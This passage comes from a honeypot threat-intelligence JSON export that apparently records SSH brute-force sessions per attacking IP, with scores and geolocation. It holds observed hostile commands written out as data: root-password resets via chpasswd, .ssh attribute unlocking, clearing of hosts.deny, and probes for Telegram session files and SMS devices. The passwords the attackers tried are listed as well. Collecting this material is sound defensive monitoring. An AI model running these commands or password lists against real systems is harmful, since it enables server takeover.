        "Suricata": 35
      }
    },
    "157.15.59.103": {
      "attack_count": 176,
      "first_seen": "2026-03-02T02:18:01.044Z",
      "last_seen": "2026-03-02T02:47:49.190Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "!234qwer",
        "1234!@#$qwer",
        "12345.com",
        "1234567Aa",
        "3245gs5662d34",
        "345gs5662d34",
        "Q!w2e3r4t5",
        "Server123",
        "a./",
        "a100400",
        "a1230.",
        "fai"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:du9aD9GpWq23\"|chpasswd|bash",
        "echo \"root:q6TSwFtDNkln\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Nepal",
      "country_code": "NP",
      "city": null,
      "asn": 152448,
      "as_org": "Global Trading And IT Solution Pvt. Ltd.",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 206,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T02:18:01.044000+00:00",
        "last_seen_30d": "2026-03-02T02:48:57.255000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 176,
        "Suricata": 30
      }
    },
    "117.255.152.43": {
      "attack_count": 168,
      "first_seen": "2026-03-31T05:24:24.145Z",
      "last_seen": "2026-03-31T06:39:26.269Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "123456789a@",
        "12345ZXCVB",
        "1236541",
        "1q2w3easd",
        "2026@2024",
        "3245gs5662d34",
        "345gs5662d34",
        "Azerty123@",
        "Passw0rd123!",
        "Support$",
        "ZAQ12wsx",
        "Zxcv123456",
        "ahmet",
        "daniel01",
        "fuckYOU",
        "gK123456",
        "golden",
        "pass",
        "prasad",
        "qwerty112"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:9uTth1EwvLc6\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Khetri",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 36.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 223,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T05:24:24.145000+00:00",
        "last_seen_30d": "2026-03-31T06:40:34.043000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 55
      }
    },
    "45.134.9.27": {
      "attack_count": 162,
      "first_seen": "2026-03-19T05:25:10.376Z",
      "last_seen": "2026-03-26T14:29:27.749Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "boom",
        "meng",
        "alice",
        "ceo",
        "developer",
        "es",
        "guillaume",
        "informatica",
        "max",
        "pwserver",
        "runner",
        "sai",
        "sd",
        "student10",
        "zhy"
      ],
      "passwords_attempted": [
        "1234",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "12345",
        "12345678",
        "es",
        "informatica",
        "meng",
        "password",
        "pwserver1234",
        "zhy123!"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"1234\\nQ3wTv84HkZvs\\nQ3wTv84HkZvs\\n\"|passwd",
        "echo -e \"1234\\nQ3wTv84HkZvs\\nQ3wTv84HkZvs\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Mexico City",
      "asn": 396356,
      "as_org": "Latitude.sh",
      "threat_score": 34.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.2,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 207,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T05:25:10.376000+00:00",
        "last_seen_30d": "2026-03-26T14:30:35.142000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 162,
        "Suricata": 45
      }
    },
    "101.47.141.35": {
      "attack_count": 155,
      "first_seen": "2026-03-02T07:18:43.023Z",
      "last_seen": "2026-03-02T08:01:19.542Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "123456789aA",
        "1qazzaq1",
        "345gs5662d34",
        "Hello1234@",
        "P@ssvv0rd",
        "Pass@2020",
        "QAZ@wsx",
        "gx123456",
        "hola",
        "zxcvbnm,./123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "uname -m",
        "w",
        "which ls",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:08J6YI9yxrHp\"|chpasswd|bash",
        "echo \"root:Zbg8FXlB6c87\"|chpasswd|bash",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 185,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T07:18:43.023000+00:00",
        "last_seen_30d": "2026-03-02T08:02:27.303000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 155,
        "Suricata": 30
      }
    },
    "51.254.130.161": {
      "attack_count": 124,
      "first_seen": "2026-03-10T06:04:04.363Z",
      "last_seen": "2026-03-10T06:25:51.289Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "user05",
        "345gs5662d34",
        "almacen",
        "clawd",
        "exx",
        "help",
        "hong",
        "kirill",
        "mqtt",
        "remoteuser",
        "root",
        "vpnbot"
      ],
      "passwords_attempted": [
        "12345",
        "password",
        "123",
        "1234",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "Help123!",
        "Qwer1234!@",
        "user05",
        "vpnbot123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"user05\\nT5PKGuCPhUen\\nT5PKGuCPhUen\\n\"|passwd",
        "echo -e \"user05\\nT5PKGuCPhUen\\nT5PKGuCPhUen\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 10.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 155,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T06:04:04.363000+00:00",
        "last_seen_30d": "2026-03-10T06:27:00.690000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 124,
        "Suricata": 31
      }
    },
    "159.203.112.234": {
      "attack_count": 119,
      "first_seen": "2026-03-08T17:00:58.853Z",
      "last_seen": "2026-03-08T17:19:58.940Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "test01",
        "345gs5662d34",
        "bogdan",
        "cliente",
        "nutanix",
        "peertube",
        "ram",
        "smb",
        "user"
      ],
      "passwords_attempted": [
        "12345678",
        "010203",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin@123#",
        "User@2025",
        "cliente1234",
        "password",
        "peertube123!",
        "test01pass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"test01pass\\ntK2zQnkcDqcf\\ntK2zQnkcDqcf\\n\"|passwd",
        "echo -e \"test01pass\\ntK2zQnkcDqcf\\ntK2zQnkcDqcf\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Clifton",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 8.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T17:00:58.853000+00:00",
        "last_seen_30d": "2026-03-08T17:21:00.741000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "45.119.85.50": {
      "attack_count": 119,
      "first_seen": "2026-03-05T10:10:52.358Z",
      "last_seen": "2026-03-05T10:53:05.193Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "ubuntu",
        "root",
        "345gs5662d34",
        "test",
        "user"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "A1234565",
        "A12345691",
        "A123456F",
        "AAA123123",
        "Aa1234",
        "P@sssw0rd",
        "P@ssw0rd81",
        "a123456b123456",
        "a123456s",
        "aa.123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"AAA123123\\nl3dVuKX0Ib8K\\nl3dVuKX0Ib8K\\n\"|passwd",
        "echo -e \"AAA123123\\nl3dVuKX0Ib8K\\nl3dVuKX0Ib8K\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 131386,
      "as_org": "Long Van System Solution JSC",
      "threat_score": 4.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 154,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T10:10:52.358000+00:00",
        "last_seen_30d": "2026-03-05T10:54:06.798000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 35
      }
    },
    "115.68.208.117": {
      "attack_count": 118,
      "first_seen": "2026-03-30T19:54:51.327Z",
      "last_seen": "2026-03-30T20:25:00.307Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "!@#QAZ2wsx",
        "!deshine",
        "2026@Root",
        "3245gs5662d34",
        "345gs5662d34",
        "Gw123456",
        "Huawei12#$%",
        "NB1234567",
        "Py123456",
        "abcd@1234",
        "admin@2025",
        "koxr123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:o3dxAAitJ03S\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": null,
      "asn": 38700,
      "as_org": "SMILESERV",
      "threat_score": 33.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-30T19:54:51.327000+00:00",
        "last_seen_30d": "2026-03-30T20:26:09.887000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 29
      }
    },
    "89.168.53.200": {
      "attack_count": 114,
      "first_seen": "2026-03-02T15:55:37.220Z",
      "last_seen": "2026-03-02T16:56:06.529Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "11111",
        "11235813",
        "Admin@123.com",
        "Felix",
        "Qazwsx123!",
        "aa123456@",
        "abc123##",
        "abcd@123",
        "qwer123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:JosKLAKfS3ky\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Paris",
      "asn": 31898,
      "as_org": "Oracle Corporation",
      "threat_score": 3.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 146,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T15:55:37.220000+00:00",
        "last_seen_30d": "2026-03-02T16:57:09.179000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 114,
        "Suricata": 32
      }
    },
    "152.53.86.30": {
      "attack_count": 109,
      "first_seen": "2026-03-09T12:07:28.862Z",
      "last_seen": "2026-03-09T12:24:04.057Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [
        "portal",
        "345gs5662d34",
        "deamon",
        "nx",
        "passbolt",
        "pzuser",
        "rachel",
        "spawner",
        "student5"
      ],
      "passwords_attempted": [
        "123",
        "12345",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "Pzuser123",
        "Student5123!",
        "deamon",
        "passbolt123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"123\\nOrRrtKPrRiJJ\\nOrRrtKPrRiJJ\\n\"|passwd",
        "echo -e \"123\\nOrRrtKPrRiJJ\\nOrRrtKPrRiJJ\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Austria",
      "country_code": "AT",
      "city": null,
      "asn": 197540,
      "as_org": "netcup GmbH",
      "threat_score": 9.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 134,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T12:07:28.862000+00:00",
        "last_seen_30d": "2026-03-09T12:25:08.475000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 109,
        "Suricata": 25
      }
    },
    "41.242.115.83": {
      "attack_count": 96,
      "first_seen": "2026-03-04T06:33:02.860Z",
      "last_seen": "2026-03-04T07:05:14.693Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "Bingo@1993",
        "123qwe123",
        "1991",
        "6543210",
        "P@ssw0rD",
        "Qwe123!@#",
        "Zhang123",
        "a123456.",
        "asd@123456",
        "qwert123.",
        "viktor"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "Ghana",
      "country_code": "GH",
      "city": "Accra",
      "asn": 37613,
      "as_org": "Dolphin-Telecom-AS",
      "threat_score": 3.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 135,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T06:33:02.860000+00:00",
        "last_seen_30d": "2026-03-04T07:06:18.432000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 96,
        "Suricata": 39
      }
    },
    "64.227.36.167": {
      "attack_count": 85,
      "first_seen": "2026-03-10T02:26:10.509Z",
      "last_seen": "2026-03-10T02:44:48.745Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "12345",
        "123456",
        "123456789",
        "P@ssw0rd",
        "admin",
        "admin123",
        "alpine",
        "letmein",
        "passw0rd",
        "password",
        "qwerty",
        "root",
        "root123",
        "toor",
        "welcome"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 10.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 122,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T02:26:10.509000+00:00",
        "last_seen_30d": "2026-03-10T02:45:57.093000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 85,
        "Suricata": 37
      }
    },
    "159.89.161.155": {
      "attack_count": 78,
      "first_seen": "2026-03-15T09:34:15.842Z",
      "last_seen": "2026-03-15T09:49:17.795Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "111111",
        "123123",
        "1234",
        "12345",
        "123456",
        "12345678",
        "123456789",
        "admin",
        "password",
        "password1",
        "qwerty",
        "root"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 15.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 108,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T09:34:15.842000+00:00",
        "last_seen_30d": "2026-03-15T09:50:26.857000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 78,
        "Suricata": 30
      }
    },
    "45.15.226.100": {
      "attack_count": 70,
      "first_seen": "2026-03-16T02:43:46.869Z",
      "last_seen": "2026-03-26T11:38:21.961Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "admin",
        "root",
        "12345",
        "guest"
      ],
      "commands_executed": [
        "/ip cloud print",
        "cat /proc/cpuinfo",
        "echo Hi | cat -n",
        "ifconfig",
        "locate D877F783D5D3EF8Cs",
        "ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*",
        "ps -ef | grep '[Mm]iner'",
